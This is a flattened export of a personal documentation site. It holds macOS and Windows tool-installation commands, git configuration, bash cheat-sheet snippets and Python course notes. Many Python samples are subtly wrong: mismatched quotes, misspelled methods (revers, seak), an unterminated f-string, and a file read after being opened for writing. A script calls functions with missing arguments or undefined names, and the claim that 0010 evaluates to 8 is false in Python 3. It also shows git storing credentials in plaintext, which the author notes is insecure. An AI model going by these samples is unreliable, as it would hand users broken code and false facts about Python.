"AWSCLIV2.pkg" sudo installer -pkg AWSCLIV2.pkg -target / # Install terraform brew install terraform # Install groovy language for Jenkins apm install language-groovy # Install atom language terraform apm install language-terraform # Install VSCODE brew install visual-studio-code # Install go brew install go # Install Google Cloud SDK Tools # https://stackoverflow.com/questions/46144267/bash-gcloud-command-not-found-on-mac brew install --cask google-cloud-sdk source "$(brew --prefix)/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/path.zsh.inc" source "$(brew --prefix)/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/completion.zsh.inc" gcloud config set app/cloud_build_timeout 4000 ## Powershell Modules # PowerCLI for VMWARE Install-Module -Name VMware.PowerCLI -Scope CurrentUser ``` ### Updating Bash ``` bash # https://apple.stackexchange.com/questions/193411/update-bash-to-version-4-0-on-osx brew install bash sudo bash -c 'echo /usr/local/bin/bash >> /etc/shells' chsh -s /usr/local/bin/bash # open new terminal window ``` ## Windows ### PowerShell v6 ``` powershell #$version = "6.2.3" #$url = "https://github.com/PowerShell/PowerShell/releases/download/v$version/PowerShell-$version-win-x64.msi" #$dest = "$ENV:UserProfile\Downloads\PowerShell-6.2.3-win-x64.msi" #Invoke-WebRequest -Uri $url -OutFile $dest #msiexec.exe /package PowerShell-$version-win-x64.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 ``` ### WSL Windows Subsystem for Linux ``` powershell # Run Powershell as Administrator, run command, reboot Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux ``` ``` bash # Go to Windows Store, search for Linux, install Ubuntu 18.04 LTS & run it # Update & Upgrade sudo apt update -y && sudo apt upgrade -y # Install pip3 sudo apt install python3-pip -y # Install Ansible #pip3 install ansible # I had to install ansible through apt sudo apt install ansible -y # Running a playbook cd /mnt/d/repos/personal/ansible ansible-playbook -i ./hosts.yml playbookname.yml ``` ## Git ### Undo Last Commit :~:text=The%20easiest%20way%20to%20undo,removed%20from%20your%20Git%20history. ``` bash git reset --soft HEAD~1 ``` ### Configuration ``` bash nano ~/repos/reponame/.git/config [core] sshCommand = ssh -i /Users/caleb.sargeant/.ssh/github [user] name = Caleb Sargeant email = 4991715+CalebSargeant@users.noreply.github.com ``` ### Cloning ``` bash git clone git@provider.com:userName/projectName.git --config core.sshCommand="ssh -i ~/.ssh/github" ``` ### Storing Credentials ``` bash # https://stackoverflow.com/questions/35942754/how-can-i-save-username-and-password-in-git git config --global credential.helper store git pull # stored in ~/.git-credentials (insecure, but useful) ``` --- # General Source: docs/other/general/index.md URL: https://docs.calebsargeant.com/other/general/ --- # Printing Source: docs/other/general/printing.md URL: https://docs.calebsargeant.com/other/general/printing/ ``` powershell printui /s /t2 ``` --- # Reading Source: docs/other/general/reading.md URL: https://docs.calebsargeant.com/other/general/reading/ ## You and Your Research [You and Your Research.pdf](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/other/general/_docs/You%20and%20Your%20Research.pdf) --- # Hardware Troubleshooting Source: docs/other/general/troubleshooting-hardware.md URL: https://docs.calebsargeant.com/other/general/troubleshooting-hardware/ This is all sourced from and placed in this documentation, as *fixingmycomputer* may not be online forever, being mostly Windows XP orientated... ## Boot ![hardware troubleshooting boot flowchart](_images/hardware-troubleshooting-boot-flowchart.gif) ## Hard Drive ![hardware troubleshooting hd repair chart](_images/hardware-troubleshooting-hd-repair-chart.gif) ## Motherboard ![hardware troubleshooting motherboard chart](_images/hardware-troubleshooting-motherboard-chart.gif) ## Graphics Card ![hardware troubleshooting video flowchart](_images/hardware-troubleshooting-video-flowchart.gif) --- # iPerf3 Source: docs/other/iperf.md URL: https://docs.calebsargeant.com/other/iperf/ brew install iperf3 brew install gnuplot brew install jq \### \# bouygues.iperf.fr \# 9200 - 9222 route outside3 89.84.1.222 255.255.255.255 x.x.x.x 1 \# ping.online.net \# 5200 - 5209 route outside3 45.33.39.39 255.255.255.255 x.x.x.x 1 \# speedtest.serverius.net \# 5002 route outside3 178.21.16.76 255.255.255.255 x.x.x.x 1 \# iperf.eenet.ee \# 5201 route outside3 193.40.55.7 255.255.255.255 x.x.x.x 1 \# iperf.viola.net \# 5201 route outside3 77.120.3.236 255.255.255.255 x.x.x.x 1 \# iperf.it-north.net \# 5200 - 5209 route outside3 208.100.26.250 255.255.255.255 x.x.x.x 1 \# iperf.biznetnetworks.com \# 5201 - 5203 route outside3 117.102.109.186 255.255.255.255 x.x.x.x 1 \# iperf.scottlinux.com \# 5201 route outside3 62.210.18.40 255.255.255.255 x.x.x.x 1 \# iperf.he.net \# 5201 route outside3 216.218.207.42 255.255.255.255 x.x.x.x 1 git clone --- # Bash Source: docs/programming/bash.md URL: https://docs.calebsargeant.com/programming/bash/ ``` bash nano filename.sh #!/bin/bash myscriptcontent chmod u+x filename.sh ``` ## Associative Arrays ``` bash declare -A names=( [caleb]=sargeant [network]=guru ) for i in "${!names[@]}" do first_name=$i last_name=${names[$i]} echo "$first_name : $last_name" done ``` ## Getopt ``` bash # Execute getopt for arguments to be passed to script, identified by "$@" PARSED_OPTIONS=$(getopt -n "$0" -o hfi: --long "help,file,input:" -- "$@") # Bad arguments or something wrong with getopt if [ $? -ne 0 ]; then exit 1 fi # getopt juju eval set -- "$PARSED_OPTIONS" # go through each option and use shift to analyse 1 argument at a time, discarding $1, making $2 $1, etc. while true; do case "$1" in -h|--help) echo "usage $0 -h -f -i or $0 --help --file --input" shift;; -f|--file) echo "file" shift;; -i|--input) echo "input" if [ -n "$2" ]; then echo "Arguement: $2" fi shift 2;; --) shift break;; esac done ``` ## Usage ``` bash usage() { printf "Usage: "$0" \n Regions available: SA\t(South Africa) UK\t(United Kingdom) US\t(United States)\n\n" 1>&2; } case $1 in (SA|UK|US) ;; #unhash the next line - it's just messing with RST #(*) usage esac if [ "$1" == "SA" ]; then export MYVAR="varSA" elif [[ "$1" == "UK" ]]; then export MYVAR="varUK" elif [[ "$1" == "US" ]]; then export MYVAR="varUS" fi ``` ## Functions ``` bash function() { echo $@ } # function accepts positional parameters via $@ ``` ## sed ``` bash # Removes all comments including those with tabs and spaces sed -e '/^[ \t\n]*#/d' # Replacing Text (in this case remove ") sed 's/"//g' # Delete first line sed -i -e 1d ``` ## awk ``` bash # Print the first column using "," as separator awk -F "," '{print $1}' ``` ## date ``` bash # yyyymmdd date +%Y%m%d ``` ## cut ``` bash # Remove the filename extension (eg. ".exe") name=$(echo "$filename" | cut -f 1 -d '.') ``` ### Remove First Character ``` bash cut -c2- ``` ## Prompt for Input Using `read` - Simple & common ``` bash while true; do read -p "Do you wish to install this program?" yn case $yn in [Yy]* ) make install; break;; [Nn]* ) exit;; * ) echo "Please answer yes or no.";; esac done ``` Using `select` - No need to sanitize input - Prompts you with choice you want - Automatically loops (no need for `while true` loop to retry) ``` bash echo "Do you wish to install this program?" select yn in "Yes" "No"; do case $yn in Yes ) make install; break;; No ) exit;; esac done ``` ## Output Formatting Source for more formatting options: ``` bash echo -e "\e[1mbold\e[0m" echo -e "\e[3mitalic\e[0m" echo -e "\e[4munderline\e[0m" echo -e "\e[9mstrikethrough\e[0m" echo -e "\e[31mHello World\e[0m" ``` ## While True Loop ``` bash while true do echo my commands sleep 1 done ``` ## For Loops Loop through directory names ``` bash for d in */ ; do echo "$d" done ``` Loop through file names ``` bash for file in /dir/* ; do cmd [option] "$file" >> results.out done ``` ## Arithmetic Bash is limited to integer math ### Sum **Adding all numbers from output** ``` bash awk '{sum+=$0} END{print sum}' ``` ### Divide ``` bash x=10 y=5 # Don't enclose variables in quotes this time $ echo $(( $x / $y )) 2 ``` ### Scientific Notation & Rounding ``` bash # Round & remove scientific notation (0f is the number of decimals) $ echo 2.123456 | awk '{ print sprintf("%.0f", $1); }' 2 # Round down $ printf %.0f 1.89 2 ``` ### Incrementing ``` bash $ echo $((n=n+1)) 1 $ echo $((n=n+1)) 2 ``` ## wc ### Number of Lines `wc -l myfile.txt` ### Number of Words `wc -w myfile.txt` ### Number of Characters `wc -m myfile.txt` ### Count Number of Lines of Output `` `command | tee >(wc -l) ``\` ## jq Querying using a bash variable: `jq ".$bash_var"` ## ls List Directories: `ls -d */` Loop through sorted output: `ls *.png | sort -V` ## tr Remove whitespace `| tr -d '[:space:]')` ## pwd ``` bash # Get current working directory as variable in bash $ result=${PWD##*/} $ echo $result caleb.sargeant # Using basename $ pwd /Users/caleb.sargeant $ basename $(pwd) caleb.sargeant ``` ``` bash dir=/home/caleb.sargeant/Desktop/Test parentdir="$(dirname "$dir")" ``` ## cat Be careful with quotation with `cat`: ## tr ``` bash $ echo __ | tr _ - -- ``` ## if Check if a file type exists in directory ``` bash count=$(ls -1 *.json 2>/dev/null | wc -l) if [ $count != 0 ]; then echo true fi ``` Check if variable not set ``` bash if [[ -z "$REGION" ]]; then echo "$REGION not set" exit 1 fi ``` ## Remove First Line ## Search for Text in Files `grep -rnw '/etc/' -e 'NULL'` ## Extract Text Before Character ``` bash # Replace colon with whatever: cut -d: -f1 # or awk -F: '{print $1}' # or sed 's/:.*//' ``` ## History ``` bash # Where n is the number of lines you want to "tail": history n ``` --- # Comparison Operators Source: docs/programming/python/bootcamp/comparison-operators.md URL: https://docs.calebsargeant.com/programming/python/bootcamp/comparison-operators/ ``` python 2 == 2 2 == 1 'hello == 'bye' 'Bye' == 'bye' '2' == 2 2.0 == 2 3 != 3 4 != 5 2 > 1 1 < 2 1 < 2 2 < 5 2 >= 2 4 <= 1 ``` ## Chaining Comparison Operators with Logical Operators - We can use logical operators to combine comparisons: > - and > - or > - not ``` python 1 < 2 and 2 < 3 'h' == 'h' and 2 == 2 1 == 1 or 2 == 2 not(1 == 1) ``` --- # Bootcamp Source: docs/programming/python/bootcamp/index.md URL: https://docs.calebsargeant.com/programming/python/bootcamp/ --- # Object and Data Structures Source: docs/programming/python/bootcamp/object-and-data-structures.md URL: https://docs.calebsargeant.com/programming/python/bootcamp/object-and-data-structures/ ## Summary | Name | Type | Description | |----------------|-------|-----------------------------------------------------------------------------------------------| | Integers | int | Whole numbers, such as: `3 300 200` | | Floating point | float | Numbers with a decimal point: `2.3 4.6 100.0` | | Strings | str | Ordered sequence of characters: `"hello" ' Caleb' "awe" '2020'` | | Lists | list | Ordered sequence of objects: ` `\[10,"hello",200.3\]\`\` | | Dictionaries | dict | Unordered Key:Value pairs: `{"mykey":"val ue","name","Caleb"}` | | Tuples | tup | Ordered immutable sequence of objects: ` `(10,"hello",200.3)\`\` | | Sets | set | Unordered collection of unique objects: `{"a","b"}` | | Booleans | bool | Logical value indicating `True` or `False` | ## Numbers ### Basic math ``` python # Addition 2+1 # Subtraction 2-1 # Multiplication 2*2 # Division 3/2 # Preposition (exponentials) 2 ** 3 ``` #### Modulo or “Mod” Operator ``` python ## Mod # Give the remainder of 7/4 7 % 4 # This gives 0 (nothing left over) 50 % 5 # This results in 1, telling us it's odd 23 % 2 ``` #### BODMAS ``` python # Result of 105 2 + 10 * 10 + 3 # Result of 156 (2 + 10) * (10 + 3) ``` ## Variable Assignment ### Rules for Variable Names - Names can’t start with a number - There can be no spaces in the name, use `_`instead. - Can’t use any of these symbols: `:'",<>/?|\()!@#$%^&*~-+` - Best practice (PEP8) that names are lowercase. - Avoid using words that have special meaning in Python like “list” and “str” ### Dynamic Typing - Python uses **Dynamic Typing** - You can reassign variables to different data types - This makes Python very flexible in assigning data types, this is different than other languages that are **“Statically-Typed”** #### **Example of Dynamic Typing in Python** ``` python # Assigning a var a different data type (eg) from number to list works in Python, # but not in other languages, as described above my_cats = 2 my_cats = ["Coco", "Frosty"] ``` #### Example of Static Typing in C++ ``` cpp int my_dog = 1; my_dog = "Sammy"; //results in error - no longer integer ``` ### Pros & Cons of Dynamic Typing - Pros of Dynamic Typing: - Very easy to work with - Faster development time - Cons of Dynamic Typing: - May result in bugs of unexpected data types! - You need to be aware of `type()` ### Assigning Variables ``` python # assign a as 5 a = 5 # take the current value of a, # add it to itself and assign its new value a = a + a # See value is now 10 a # assign the new value a = a + a # See the value is now 20 a # see that a is an int type(a) # assign a a new data type a = 30.1 # See that a is now a float type(a) int = 4 ``` #### Example of variable assignment ``` python # Do some math to find your taxes my_income = 100 tax_rate = 0.1 my_taxes = my_income * tax_rate # See the value of my taxes my_taxes ``` ## Strings ### Basics Strings are sequences of characters, using the syntax of either single quotes or double quotes: - ‘howzit’ - “hello” - " some stuff written here " - Strings are **ordered sequences**, so we can use **indexing** and **slicing** to grab sub-sections of the string. - Indexing notation uses `[]` notation after the string (or variable assigned the string). - Indexing allows you to grab a single character from the string… - These actions use `[]`square brackets and a number index to indicate positions of what you wish to grab. - **Character**: h e l l o - **Index**: 0 1 2 3 4 - **Reverse Index**: 0 -4 -3 -2 -1 - Slicing allows you to grab a subsection of multiple characters, a “slice” of the string/ - This has the following syntax: - `[start:stop:step]` - **start** is a numerical index for the slice start - **stop** is the index you will go up to (but not include) - **step** is the size of the “jump” you take #### Examples of strings ``` python # output some strings y'all 'hello' "world" # a space is a char ' this is a string too! ' # enclose in doubles if you've got a single, etc. "I'm a python master" # printing strings just shows the output of string print("string") # print, escaping a new line print('hello\nworld') # print, escaping a tab print('hello\tworld') # output length of string (5 in this case) len('hello') # output length, notice space counts len('I am') ``` ## Indexing and Slicing Example of Indexing ``` python # Grab the h from hello mystring = "hello world" mystring[0] # Grab the l from world mystring[-2] ``` Example of Slicing ``` python # Redefine the string mystring = 'abcdefghijk' # Slice from 3rd char to end (stop & step undefined) mystring[2:] # Slice up to 4th char (not incl.) from beginning (start & step undefined) mystring[:3] # Slice 4th to 6th char (get rid of 0-3 & 7-11) mystring[3:6] # Slice the string as a whole, valid syntax mystring[::] # Slice 2nd char (in jumps of 2) mystring[::2] # Slice taking 3rd char up until 8th char (not incl.) in steps of 2 mystring[2:7:2] # Reverse the order of text - take backwards steps mystring[::-1] ``` ## String Properties and Methods ``` python # String Concatenattion name = "Sam" last_letters = name[1:] 'P' + last_letters Pam letter = 'z' letter * 10 zzzzzzzzzz 2 + 3 5 '2' + '3' 23 x = 'Hello World' x.upper() ``` ## Print Formatting with Strings - Often you will want to "inject a variable into your string for printing. For example: - `my_name = "Caleb"` - `print("Hello " + my_name)` - There are multiple ways to format strings for printing variables in them. - This is known as string interpolation. - Two methods for this: > - `.format()` method > - `f-strings` (formatted string literals) ``` python # .format() method print('This is a string {}'.format('INSERTED')) print('The {} {} {}'.format('fox','brown','quick')) print('The {2} {1} {0}'.format('fox','brown','quick')) print('The {q} {b} {f}'.format(f='fox',b='brown',q='quick')) # Float formatting "{value:width.precision f}" result = 100/777 print("The result was {}".format(result)) print("The result was {r:1.3f}".format(r=result)) # f-strings method print(f'Hello, his name is {name}') name = "Sam" age = 3 print(f'{name} is {age} years old) ``` ## Lists - Lists are ordered sequences that can hold a variety of object types - They use \[\] brackets and commas to separate objects in the list. > - `[1,2,3,4,5]` - Lists support indexing and slicing. Lists can be nested and also have a variety of useful methods that can be called off of them. ``` python my_list = [1,2,3] my_list = ['string',100,23,2] len(my_list) mylist = ['one','two','three'] mylist[0] mylist[1:] another_list = ['four','five'] mylist + another_list mylist[0] = 'ONE' mylist.append('six') mylist.pop() popped_item = mylist.pop() new_list = ['a','e','x','b','c'] num_list = [4,1,8,3] new_list.sort() num_list.revers() ``` ## Dictionaries - Dictionaries are unordered mappings for sorting objects. Previously we saw how lists store objects in an ordered sequence, dictionaries use a key-value pairing instead. - This key-value pair allows users to quickly grab objects without needing to know an index location. - Dictionaries use curly braces and colons to signify the keys and their associated values. > - `{'key1':'value1','key2':'value2'` - So when to choose a list and when to choose a dictionary? - **Dictionaries:** Objects retrieved by key name. > - Unordered and can not be sorted. - **Lists:** Objects retrieved by location. > - Ordered Sequence can be indexed or sliced. ``` python # Creating a dictionary my_dict = {'key1':'value1','key2':'value2' my_dict['key1'] # A dict can have numbers, lists, and even other dicts d = {'k1':123,'k2':[0,1,2],'k3':{'insidekey':100}} d['k3']['insidekey'] # Adding values to dict d = {'k1': 100, 'k2': 200} d['k3'] = 300 # Overwriting values d['k1'] = 'NEW VALUE' # Return the keys d.keys() # Return the values d.values() # Return the items d.items() ``` ## Tuples - Tuples are very similar to lists. However they have one key difference - immutability. - Once an element is inside a tuple, it cannot be reassigned - Tuples use parenthesis (1,2,3) ``` python t = (1,2,3) t = ('one',2) t = ('a','a','b') t.count('a') t.index('a') ``` ## Sets and Booleans Sets - **Sets** are unordered collections of **unique** elements - Meaning there can only be one representative of the same object. ``` python myset = set() myset.add(1) myset myset.add(2) myset myset.add(2) myset mylist = [1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3] set(mylist) ``` Booleans - **Booleans** are operators that allow you to convey **True** or **False** statements - These are very important later on when we deal with control flow and logic! ``` python False True type(False) 1 > 2 1 == 1 b = None b ``` ## Files ``` python # Opening a file myfile = open('myfile.txt') myfile.read() # The second time you open, the curser is at the end of the file myfile.read() # Seak to 0 to go back to the beginning of the file myfile.seak(0) # Read the file, all in one line contents = myfile.read() # Read the file all in new lines myfile.readlines() # Close the file myfile.close() # Read the file and close it after with open('myfile.txt') as my_new_file: contents = my_new_file.read() contents # Write to file with open('myfile.txt',mode='w') as myfile: contents = myfile.read() contents # Reading with open('my_new_file.txt',mode='r') as f: print(f.read()) # Appending with open('my_new_file.txt',mode='a') as f: f.write('FOUR') # Writing with open('sjkdhsakjfj.txt',mode='w') as f: f.write('I CREATED THIS FILE') ``` Reading, Writing, Appending Modes - mode='r' is read only - mode='w is write only (will overwrite files or create new) - mode='a' is append only (will add on to files) - mode='r+' is reading and writing - mode='w+' is writing and reading (overwrites existing files or creates a new file) --- # Statements Source: docs/programming/python/bootcamp/statements.md URL: https://docs.calebsargeant.com/programming/python/bootcamp/statements/ ## If Elif and Else Statements --- # Scalar Types, Operators, and Control Flow Source: docs/programming/python/core/getting-started/2-scalar-types-operators-and-control-flow.md URL: https://docs.calebsargeant.com/programming/python/core/getting-started/2-scalar-types-operators-and-control-flow/ ## Scalar Types - int (42) - arbitrary precision integer - unlimited precision signed integer ``` text >>> 10 10 >>> 0b10 2 >>> 0010 8 >>> 0x10 16 >>> int (3.5) 3 >>> int(-3.5) -3 >>> int("496") 496 >>> int ("10000", 3) 81 ``` - float (4.2) - 64-bit floating point numbers - IEEE-754 double-precision with 53-bits of binary precision - 15-16 significant digits in decimal ``` text >>> 3.125 3.125 >>> 3e8 300000000.0 >>> 1.616e-35 1.616e-35 >>> float(7) 7.0 >>> float("1.618") 1.618 >>> float("nan") nan >>> float("inf") inf >>> float("-inf") -inf >>> 3.0 + 1 4.0 ``` - None (NoneType) - the null object - Null value - Often represents the absence of a value ``` text >>> None >>> a = None >>> a is none True ``` - bool (True/False) - boolean logical values ``` text >>> True True >>> False False >>> bool(0) False >>> bool(42) True >>> bool(-1) True >>> bool(0.0) False >>> bool(0.207) True >>> bool(-1.117) True >>> bool([]) False >>> bool([1, 5, 9]) True >>> bool("") False >>> bool("Spam") True >>> bool("False") True >>> bool("True") True ``` ## Relational Operators | | | |-----|----------------------------------| | == | value equality / equivalence | | != | value inequality / inequivalence | | \< | less-than | | \> | greater-than | | \<= | less-than or equal | | \>= | greater-than or equal | ``` text >>> g = 20 >>> g == 20 True g == 13 False >>> g != 20 False g != 13 True >>> g < 30 True >>> g <= 20 True >>> g > 30 False >>> g >= 20 True ``` ## Control Flow **Conditional statement** Branch execution based on the value of an expression ### if statement ``` text # Syntax >>> if expression: block # Examples >>> if True: ... print("It's true!") ... It's True >>> if False: ... print("It's true!") ... >>> if bool("eggs"): ... print("Yes please!") ... Yes please! >>> if "eggs" : ... print("Yes please!") ... Yes please! >>> ``` ### Else-clause ``` text >>> if h > 50 : ... print("Greater than 50") ... else: ... print("50 or smaller") 50 or smaller >>> if h > 50: ... print("Greater than 50") ... else: ... if h < 20: ... print("Less than 20") ... else: ... print ("Between 20 and 50") Between 20 and 50 >>> if h > 50: ... print("Greater than 50") ... elif h < 20: ... print("Less than 20") ... else: ... print("Between 20 and 50") Between 20 and 50 ``` ## While-loops ``` python # Syntax while expression: block # Example (will print 12345) c = 5 while c != 0: print(c) c -= 1 # Example (will print 54321) c = 5 while c: print(c) c -= 1 ## int truthiness # bool(5) == True # bool(4) == True # ... # bool(0) == False ``` ### Break - Many languages support a loop ending in a predicate test - C, C++, C#, and Java have do-while - Python requires you to use while True and break - `break` jumps out of the inner-most executing loop to the line immediately after it ``` python while True: response = input() if int(response) % 7 == 0: break # start typing in numbers until a number is divisible by 7 ``` --- # Introducing Strings, Collections, and Iteration Source: docs/programming/python/core/getting-started/3-introducing-strings-collections-and-iteration.md URL: https://docs.calebsargeant.com/programming/python/core/getting-started/3-introducing-strings-collections-and-iteration/ ## String - str - Data type for strings in Python - Sequence of Unicode code points - Immutable - Unicode - Python 3 source encoding is UTF-8 ``` py 'This is a string' "This is also a string" '"Yes!", he said, "I agree!"' ``` ## String Literals ``` py >>> "first" "second" 'firstsecond' ``` ### Strings with Newlines - Multiline strings - Spread the literal across multiple lines ``` text >>> "" "This is ... a multiline ... string""" This is\na multiline\nstring' >>> '''So ... is ... this.''' So\nis\nthis. >>> m = 'This string\nspans multiple\nlines' >>> m 'This string\nspans multiple\nlines' >>> print(m) This string spans multiple lines ``` - Escape sequences - Embed escape sequences in a single-line literal > ``` text > >>> "This is a \" in a string" > 'This is a " in a string' > >>> 'This is a \' in a string' > "This is a ' in a string" > >>> 'This is a \" and a \' in a string' > 'This is a " and a \' in a string' > >>> k = 'A \\ in a string' > 'A \\ in a string' > >>> print(k) > A \ in a string > ``` **All Escape Sequences** docs.python.org/3/reference/lexical_analysis.html#strings | Sequence | Meaning | |----------|--------------------------------| | newline | Backslash and newline ignored | | \\ | Backslash () | | ' | Single quotes (") | | " | Double quote (") | | a | ASCII Bell (BEL) | | b | ASCII Backspace (BS) | | f | ASCII Formfeed (FF) | | n | ASCII Linefeed (LF) | | r | ASCII Carriage Return (CR) | | t | ASCII Horizontal Tab (TAB) | | v | ASCII Vertical Tab (VT) | | ooo | Character with octal value 000 | | xhh | Character with hex value hh | | Only recognized in string literals | | |------------------------------------|----------------------------------------------| | N{name} | Character named name in the Unicode database | | uxxxx | Character with 16-bit hex value XXXX | | Uxxxxxxxx | Character with 32-bit hex value XxXXXXXX | ### String Features ``` text >>> path = r'C:\Users\Merlin\Documents\Spells' >>> path 'C: \\Users\\Merlin\\Documents\\Spells' >>> print(path) C:\Users\Merlin\Documents\Spells >>> str(496) '496' >>> str(6.02e23) '6.02e+23' >>> s = 'parrot' >>> s[4] 'o' >>> type(s[4]) ``` ## Bytes docs.python.org/3/library/codecs.html#standard-encodings - bytes - Data type for sequences of bytes - Raw binary data - Fixed-width single-byte encodings ``` text >>> b'data' b'data' >>> b"data" b'data' >>> d = b'some bytes' >>> d[0] 115 >>> d.split() [b'some', b'bytes'] ``` ## List - list - Sequences of objects - Mutable - A workhorse in Python ``` text >>> [1, 9, 8] [1, 9, 8] >>> a = ["apple", "orrange", "pear"] >>> a[1] 'orrange' >>> a[1] = 7 >>> a ['apple', 7, 'pear'] >>> b = [] >>> b.append(1.618) >>> b [1.618] >>> b.append(1.414) >>> b [1.618, 1.414] >>> list("characters") ['c', 'h', 'a', 'r', 'a', 'c', 't', 'e', 'r', 's'] >>> c = ['bear', ... 'giraffe', ... 'elephant', ... 'caterpillar',] >>> c ['bear', 'giraffe', 'elephant', 'caterpillar'] ``` ## Dict - dict - Fundamental data structure Python - Map keys to values - Also known as maps or associative arrays ``` text >>> d = {'alice': '878-8728-922', 'bob': '256-4532-523', 'eve': '123-3432-342'} >>> d['alice'] '878-8728-922' >>> d['alice'] = '323-3123-156' >>> d {'alice': '323-3123-156', 'bob': '256-4532-523', 'eve': '123-3432-342'} >>> d['charles'] = '123-5232-125' >>> d {'alice': '323-3123-156', 'bob': '256-4532-523', 'eve': '123-3432-342', 'charles': '123-5232-125'} ``` ## For-loop - for-loop - Visit each item in an iterable sequence - ``` none for item in iterable: body ``` ``` text >>> cities = ["Cape Town", "London", "New York", "Paris"] >>> for city in cities: ... print(city) ... Cape Town London New York Paris >>> colors = {'crimson': 0xdc143c, 'coral': 0xff7f50, 'teal': 0x008080} >>> for color in colors: ... print(color, colors[color]) ... crimson 14423100 coral 16744272 teal 32896 ``` ## Putting it all Together ``` text >>> from urllib.request import urlopen >>> story = urlopen('http://sixty-north.com/c/t.txt') >>> >>> story_words = [] >>> for line in story: ... line_words = line.split() ... for word in line_words: ... story_words.append(word) ... >>> story.close() >>> story_words [b'It', b'was', b'the', b'best', b'of', b'times', b'it', b'was', b'the', b'worst', b'of', b'times', b'it', b'was', b'the', b'age', b'of', b'wisdom', b'it', b'was', b'the', b'age', b'of', b'foolishness', b'it', b'was', b'the', b'epoch', b'of', b'belief', b'it', b'was', b'the', b'epoch', b'of', b'incredulity', b'it', b'was', b'the', b'season', b'of', b'Light', b'it', b'was', b'the', b'season', b'of', b'Darkness', b'it', b'was', b'the', b'spring', b'of', b'hope', b'it', b'was', b'the', b'winter', b'of', b'despair', b'we', b'had', b'everything', b'before', b'us', b'we', b'had', b'nothing', b'before', b'us', b'we', b'were', b'all', b'going', b'direct', b'to', b'Heaven', b'we', b'were', b'all', b'going', b'direct', b'the', b'other', b'way', b'in', b'short', b'the', b'period', b'was', b'so', b'far', b'like', b'the', b'present', b'period', b'that', b'some', b'of', b'its', b'noisiest', b'authorities', b'insisted', b'on', b'its', b'being', b'received', b'for', b'good', b'or', b'for', b'evil', b'in', b'the', b'superlative', b'degree', b'of', b'comparison', b'only'] ``` ### Recall Bytes - Bytes literals prefixed with lowercase 'b' - HTTP data is provided as bytes - Use bytes.decode() to get strings ``` text >>> story = urlopen('http://sixty-north.com/c/t.txt') >>> story_words = [] >>> for line in story: ... line_words = line.decode('utf8').split() ... for word in line_words: ... story_words.append(word) ... >>> story.close() >>> story_words ['It', 'was', 'the', 'best', 'of', 'times', 'it', 'was', 'the', 'worst', 'of', 'times', 'it', 'was', 'the', 'age', 'of', 'wisdom', 'it', 'was', 'the', 'age', 'of', 'foolishness', 'it', 'was', 'the', 'epoch', 'of', 'belief', 'it', 'was', 'the', 'epoch', 'of', 'incredulity', 'it', 'was', 'the', 'season', 'of', 'Light', 'it', 'was', 'the', 'season', 'of', 'Darkness', 'it', 'was', 'the', 'spring', 'of', 'hope', 'it', 'was', 'the', 'winter', 'of', 'despair', 'we', 'had', 'everything', 'before', 'us', 'we', 'had', 'nothing', 'before', 'us', 'we', 'were', 'all', 'going', 'direct', 'to', 'Heaven', 'we', 'were', 'all', 'going', 'direct', 'the', 'other', 'way', 'in', 'short', 'the', 'period', 'was', 'so', 'far', 'like', 'the', 'present', 'period', 'that', 'some', 'of', 'its', 'noisiest', 'authorities', 'insisted', 'on', 'its', 'being', 'received', 'for', 'good', 'or', 'for', 'evil', 'in', 'the', 'superlative', 'degree', 'of', 'comparison', 'only'] ``` --- # Modularity Source: docs/programming/python/core/getting-started/4-modularity.md URL: https://docs.calebsargeant.com/programming/python/core/getting-started/4-modularity/ ## Modules `_docs/words.py` ``` python python3 words.py ``` ## Functions ### Defining Functions ``` text >>> def square(x): ... return x * x ... >>> square(5) 25 >>> def launch_missiles(): ... print("Missiles launched!") ... >>> launch_missiles() Missiles launched! >>> def even_or_odd(n): ... if n % 2 == 0: ... print("even") ... return ... print("odd") ... >>> w = even_or_odd(31) odd >>> w is None True >>> def nth_root(radicand, n): ... return radicand ** (1/n) ... >>> nth_root(16,2) 4.0 >>> nth_root(27,3) 3.0 ``` **dunder** - Our way of pronouncing special names - A portmanteau of "double underscore" - Instead of "underscore underscore name underscore underscore" we'll say "dunder name" ## name `__name__` - Specially named variable allowing us to detect whether a module is run as a script or imported into another module. - `if __name__ == '__main__':` if name = main, execute function, if name != main, it knows it's being imported into another module, not executed. By using this statement, the python script can be executed as a script or module. - `__name__` will be set as `__main__` depending on how it's used - if running `python words.py`, `__main__` will return as `__name__` instead. ``` python print(__name__) ``` ## The Python Execution Model - `def` is a statement - Top-level functions are defined when a module is imported or run ### Module Script or Program - Python module - Convenient import with API - Python script - Convenient execution from the command line (scripts should be importable) - Python program - Perhaps composed of many modules ## Command Line Arguments ``` py import sys from urllib.request import urlopen def fetch_words(url): story = urlopen(url) story_words = [] for line in story: line_words = line.decode('utf-8').split() for word in line_words: story_words.append(word) story.close() return story_words def print_items(items): for item in items: print (item) def main(): words = fetch_words() print_words(words) if __name__ == '__main__': main(sys.argv[1]) ``` ## Docstrings - Literal strings which document functions, modules, and classes. - They must be the first statement in the blocks for these constructs. - PEP 257 - Official Python convention for docstrings. - But... not widely adopted. - Sphinx - Tool to create HTML documentation from Python docstrings. ``` py """ Retrieve and print words from a URL. Usage: python3 words.py """ import sys from urllib.request import urlopen def fetch_words(url): """Fetch a list of words from a URL. Args: url: The URL of a UTF-8 text-document. Returns: A list of strings containing words from the document """ story = urlopen(url) story_words = [] for line in story: line_words = line.decode('utf-8').split() for word in line_words: story_words.append(word) story.close() return story_words def print_items(items): """Print items one per line. Args: An iterable series of printable items. """ for item in items: print (item) def main(): """Print each word from a text document from at a URL. Args: url: The URL of a UTF-8 text document. """ words = fetch_words() print_words(words) if __name__ == '__main__': main(sys.argv[1]) ``` ``` text >>> import words >>> help(words) Help on module words: NAME words - Retrieve and print words from a URL. DESCRIPTION Usage: python3 words.py FUNCTIONS fetch_words(url) Fetch a list of words from a URL. Args: url: The URL of a UTF-8 text document. Returns: A list of strings containing the words from the document main(url) Print each word from a text document from at a URL. ``` ## Comments - Code is ideally clear enough without ancillary explanation - Sometimes you need to explain why your code is written as it is - Comments in Python start with `#` and extend to the end of the line ``` python if _name_ =='__main__': main(sys.argv[1]) # The Oth arg is the module filename.] ``` ## Shebang - Special Comment - 